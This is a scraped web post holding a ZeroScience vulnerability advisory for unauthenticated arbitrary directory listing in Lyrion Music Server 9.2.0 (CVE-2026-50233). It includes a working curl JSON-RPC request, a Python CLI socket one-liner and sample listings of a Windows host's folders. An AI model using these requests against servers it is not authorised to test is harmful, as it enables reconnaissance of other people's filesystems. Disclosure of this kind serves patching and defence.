{“lastseen”:”2026-06-05T18:50:34″,”description”:”Summary Lyrion Music Server formerly Logitech Media Server, and often abbreviated as \\”LMS\\” is open-source software which can control and serve stream music to a wide range of physical and virtual audio players called Squeezeboxes. Lyrion Music Server…”,”published”:”2026-06-05T00:00:00″,”modified”:”2026-06-05T00:00:00″,”type”:”zeroscience”,”title”:”Lyrion Music Server 9.2.0 Arbitrary Directory Listing”,”source”:””,”references”:””,”id”:”ZSL-2026-5991″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-50233″],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003eLyrion Music Server 9.2.0 Arbitrary Directory Listing\\n\\n\\nVendor: LMS Community\\nProduct web page: https:\/\/www.lyrion.org\\nAffected version 9.2.0\\n\\nSummary: Lyrion Music Server (formerly Logitech Media Server, and\\noften abbreviated as \\”LMS\\” ) is open-source software which can control\\nand serve (stream) music to a wide range of physical and virtual audio\\nplayers called Squeezeboxes. Lyrion Music Server can stream your local\\nmusic collection, internet radio stations, and content from many streaming\\nservices (with and without subscriptions). The Command Line Interface\\nplugin allows Squeezebox software and the players to be controlled remotely\\nover a TCP\/IP connection, for example by a third party automation system\\nlike AMX or Crestron.\\n\\nDesc: Lyrion Music Server exposes a readdirectory query through both its\\nCLI service (TCP port 9090) and its HTTP JSON-RPC endpoint (\/jsonrpc.js)\\nthat takes a folder parameter and lists its contents with no restriction\\nto the configured media directories and no authentication in the default\\nconfiguration. A remote attacker on the network can enumerate arbitrary\\nlocations on the host filesystem.\\n\\nTested on: Windows 10 (64-bit) – EN\\n Lyrion Music Server (9.2.0 – 1779973211)\\n Perl\/5.32.1\\n SQLite\\n\\n\\nVulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n\\n\\nAdvisory ID: ZSL-2026-5991\\nAdvisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5991\\nCVE ID: CVE-2026-50233\\nCVE URL: https:\/\/www.cve.org\/CVERecord?id=CVE-2026-50233\\n\\n\\n27.05.2026\\n\\n–\\n\\n\\n$ curl http:\/\/localhost:9000\/jsonrpc.js \\\\\\n\\u0026gt; -d \\”{\\\\\\”id\\\\\\”:1,\\\\\\”method\\\\\\”:\\\\\\”slim.request\\\\\\”,\\\\\\”params\\\\\\”:[\\\\\\”\\\\\\”,[\\\\\\”readdirectory\\\\\\”,\\\\\\”0\\\\\\”,\\\\\\”100\\\\\\”,\\\\\\”folder:C:\\\\\\\\users\\\\\\”]]}\\”\\n\\n{\\”result\\”:{\\”fsitems_loop\\”:[{\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\.NET v4.5\\”,\\”isfolder\\”:\\”1\\”,\\”name\\”:\\”.NET v4.5\\”},{\\”name\\”:\\”.NET v4.5 Classic\\”,\\”isfolder\\”:\\”1\\”,\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\.NET v4.5 Classic\\”},{\\”name\\”:\\”DefaultAppPool\\”,\\”isfolder\\”:\\”1\\”,\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\DefaultAppPool\\”},{\\”isfolder\\”:\\”1\\”,\\”name\\”:\\”defaultuser0\\”,\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\defaultuser0\\”},{\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\testuser\\”,\\”isfolder\\”:\\”1\\”,\\”name\\”:\\”testuser\\”},{\\”isfolder\\”:\\”1\\”,\\”name\\”:\\”Public\\”,\\”path\\”:\\”C:\\\\\\\\users\\\\\\\\Public\\”}],\\”count\\”:6},\\”id\\”:1,\\”method\\”:\\”slim.request\\”,\\”params\\”:[\\”\\”,[\\”readdirectory\\”,\\”0\\”,\\”100\\”,\\”folder:C:\\\\\\\\users\\”]]}\\n\\n\\n$ python -c \\”import socket,urllib.parse,pprint; s=socket.socket(); s.connect((‘127.0.0.1′,9090)); s.sendall(b’readdirectory 0 100 folder:C:\\\\r\\\\\\\\n’); raw=s.recv(65535).decode(); s.close(); txt=urllib.parse.unquote(raw); parts=txt.split(); items=[]; cur={}; [ (items.append(cur) or (cur:={})) if k==’path’ and cur else cur.update({k:v}) for k,v in (p.split(‘:’,1) for p in parts if ‘:’ in p) ]; items.append(cur); pprint.pprint(items)\\”\\n[{‘count’: ’14’, ‘folder’: ‘C:’},\\n {‘isfolder’: ‘1’, ‘name’: ‘BIOS’},\\n {‘isfolder’: ‘1’, ‘name’: ‘drivers’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Intel’},\\n {‘isfolder’: ‘1’, ‘name’: ‘jython2.7.0’},\\n {‘isfolder’: ‘1’, ‘name’: ‘OpenSSL-Win32’},\\n {‘isfolder’: ‘1’, ‘name’: ‘PaintToolSAI’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Program’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Program’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Temp’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Users’},\\n {‘isfolder’: ‘1’, ‘name’: ‘Windows’},\\n {‘isfolder’: ‘1’, ‘name’: ‘xampp’},\\n {‘isfolder’: ”, ‘name’: ‘test.txt’},\\n {‘isfolder’: ”, ‘name’: ‘NTUSER.dat’}]\\n\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”https:\/\/www.zeroscience.mk\/codes\/lyrion_fd.txt”,”cvss”:{“score”:6.9,”severity”:”MEDIUM”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:L\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.zeroscience.mk\/advisories\/ZSL-2026-5991.html”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-05T18:50:34″,”description”:”Summary Lyrion Music Server formerly Logitech Media Server, and often abbreviated as \\”LMS\\” is open-source software which can control and serve stream music to a…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,21,13,7,11,5,107],"class_list":["post-60315","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n